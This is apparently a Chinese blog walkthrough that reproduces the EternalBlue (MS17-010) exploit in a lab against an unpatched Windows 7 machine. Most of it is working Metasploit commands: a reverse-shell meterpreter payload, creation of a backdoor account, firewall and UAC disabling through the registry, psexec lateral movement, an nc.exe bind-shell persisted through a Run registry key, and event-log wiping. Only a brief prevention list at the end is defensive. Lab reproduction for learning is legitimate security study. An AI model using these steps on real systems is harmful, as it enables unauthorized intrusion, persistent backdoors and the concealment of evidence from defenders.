目录

漏洞简介

漏洞描述

影响版本

复现环境

攻击机

IP:192.168.109.132

靶机

IP:192.168.109.130

开启远程设置

卸载全部安全补丁

复现过程

一、主机发现

二、打开metasploit工具

三、使用msf搜寻MS17-010漏洞

四、使用MS17-010扫描模块,对靶机进行扫描

1.使用扫描模块

2.查看模块需要配置的参数

3.探测目标主机是否存在该漏洞

五、使用ms17-010攻击模块,对靶机进行攻击

1.查看攻击载荷

2.设置攻击载荷

3.查看配置参数

4.设置目标IP

5.设置用于接收从目标机弹回来的shell

6.执行攻击

六、进入、退出终端

七、创建用户

八、关闭主机防护策略并开启后门

1.创建防火墙规则

2.关闭UAC

3.开启默认共享

九、使用psexec

1.使用扫描模块

2.查看参数,并配置需要的参数

3.设置目标IP、用户名、密码以及工作组

4.执行攻击

十、上传后门

1.上传瑞士军刀(nc.exe)

2.设置键值

十一、连接后门

1.重启目标主机

2.使用瑞士军刀 NETCAT-NC进行连接

十二、抹除事件日志

预防方法


漏洞简介

2017 年 4 月 14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。

5 月 12 日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网呾政府机构与网中招,被勒索支付高额赎金才能解密恢复文件。

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;

SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

漏洞描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞名称:“永恒之蓝”漏洞

漏洞编号:MS17-010,CVE-2017 0143/0144/0145/0146/0147/0148

漏洞类型:缓冲区溢出漏洞

漏洞影响:信息泄露

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。

这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。

这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

复现环境

攻击机

kali2022.2

IP:192.168.109.132

攻击机与靶机可以相互ping通

靶机

简体中文Windows 7 Ultimate 旗舰版 SP1

IP:192.168.109.130

靶机与攻击机可以相互ping通

防火墙已关闭,445端口已开放

开启远程设置

控制面板\系统和安全\系统

卸载全部安全补丁

控制面板→程序→卸载程序→已安装更新

把能卸载的全部卸载。

复现过程

一、主机发现

使用Nmap进行IP端口扫描

扫描到开放了445端口,而永恒之蓝利用的就是445端口的SMB服务,操作系统溢出漏洞

二、打开metasploit工具

msfconsole

三、使用msf搜寻MS17-010漏洞

msf6 > search ms17-010

auxiliary/scanner/smb/smb_ms17_010
是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞

exploit/windows/smb/ms17_010_eternalblue
是永恒之蓝攻击模块,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

四、使用MS17-010扫描模块,对靶机进行扫描

1.使用扫描模块

msf6 > use auxiliary/scanner/smb/smb_ms17_010 
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

2.查看模块需要配置的参数

msf6 > show options
右边Required项为yes的选项,说明左边 Current Setting 这个项对应的需要填写
比如:RHOSTS设置攻击目标

3.探测目标主机是否存在该漏洞

msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.109.130   设置目标主机

msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit                      开始扫描

RHOSTS 参数是要探测主机的ip或ip范围(192.168.109.120-192.168.109.140 或者 192.168.1.0/24)

图中带[+]符号表示该主机192.168.109.130存在此漏洞(正是我们的靶机win7)

五、使用ms17-010攻击模块,对靶机进行攻击

msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue

msf6 exploit(windows/smb/ms17_010_eternalblue) > info    
查看当前漏洞信息

msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets    
显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的
如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)


1.查看攻击载荷

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

2.设置攻击载荷

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

3.查看配置参数

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

4.设置目标IP

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.109.130  
如果有多个攻击目标,ip间直接用空格隔开就行

5.设置用于接收从目标机弹回来的shell

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.109.132

6.执行攻击

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
出现meterpreter >   即为成功

六、进入、退出终端

meterpreter > shell        进入终端
 
C:\Windows\system32>exit   退出终端

chcp 65001           解决乱码

七、创建用户

run post/windows/manage/enable_rdp USERNAME=tubage PASSWORD=123.com

创建完成之后我们可以去远程连接桌面默认30秒目标无操作自动连接
root@kali# rdesktop 192.168.109.130     远程连接桌面

八、关闭主机防护策略并开启后门

1.创建防火墙规则

shell             #进入终端
chcp 65001        #Cmd窗口中utf-8格式的编码
netsh firewall add portopening TCP 4444 "tubage" ENABLE ALL
防止防火墙以后是开启的,所以提前创建一条防火墙规则允许4444端口访问网络,方便后期操作

2.关闭UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。

其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

3.开启默认共享

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
开启系统主机的默认共享,也叫隐藏共享,是用来远程管理的,一般的时候看不到的,但是非常方便黑客利用这个功能,远程执行命令。

输入多次exit 直到回到meterpreter ,输入backgroup 将刚刚永恒之蓝拿到的会话保持到后台。

九、使用psexec

psexec 是 windows 下非常好的一款远程命令行工具。

原理:

通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件。然后,通过psexec服务运行命令,运行结束后删除服务。

在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。

命令执行后,psexec服务将会被自动删除。

由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。

1.使用扫描模块

use exploit/windows/smb/psexec

2.查看参数,并配置需要的参数

show options

3.设置目标IP、用户名、密码以及工作组

set RHOSTS 192.168.109.130     #设置目标IP
set smbuser tubage             #设置目标用户名
set smbpass 123.com            #设置目标密码
set smbdomain WORKGROUP        #设置目标工作组(在计算机属性里面能看到所属工作组)

4.执行攻击

msf6 exploit(windows/smb/psexec) > run
meterpreter > getuid       #查看获取的当前权限

十、上传后门

为了让连接持久话,我们可以上传后门程序,这样就能保持会话长久建立。

在kali 中如下路径有我们的后门程序nc.exe 俗称瑞士军刀。

1.上传瑞士军刀(nc.exe)

upload /usr/share/windows-binaries/nc.exe C:\\windows     
#上传到目标主机C盘Windows目录下,如果要更隐秘一点的话,可以往更深处存放。

2.设置键值

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
#当目标主机开机时,程序后台运行,且监听端口为443,这个端口可自行设置。

十一、连接后门

1.重启目标主机

meterpreter > reboot
等等一段时间,等目标主机重启并登录之后,便会出现蓝色型号。

2.使用瑞士军刀 NETCAT-NC进行连接

nc -v 192.168.109.130 443

十二、抹除事件日志

meterpreter > clearev
因为我们的所有操作都会被记录在目标系统的日志文件之中所以在完成攻击操作之后,千万别忘了抹除事件日志。

预防方法

  1. 为计算机安装最新的安全补丁:MS17-010补丁
  2. 及时备份,一定要离线备份重要文件
  3. 开启防火墙
  4. 关闭445、135、137、138、139端口,关闭网络共享。
Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐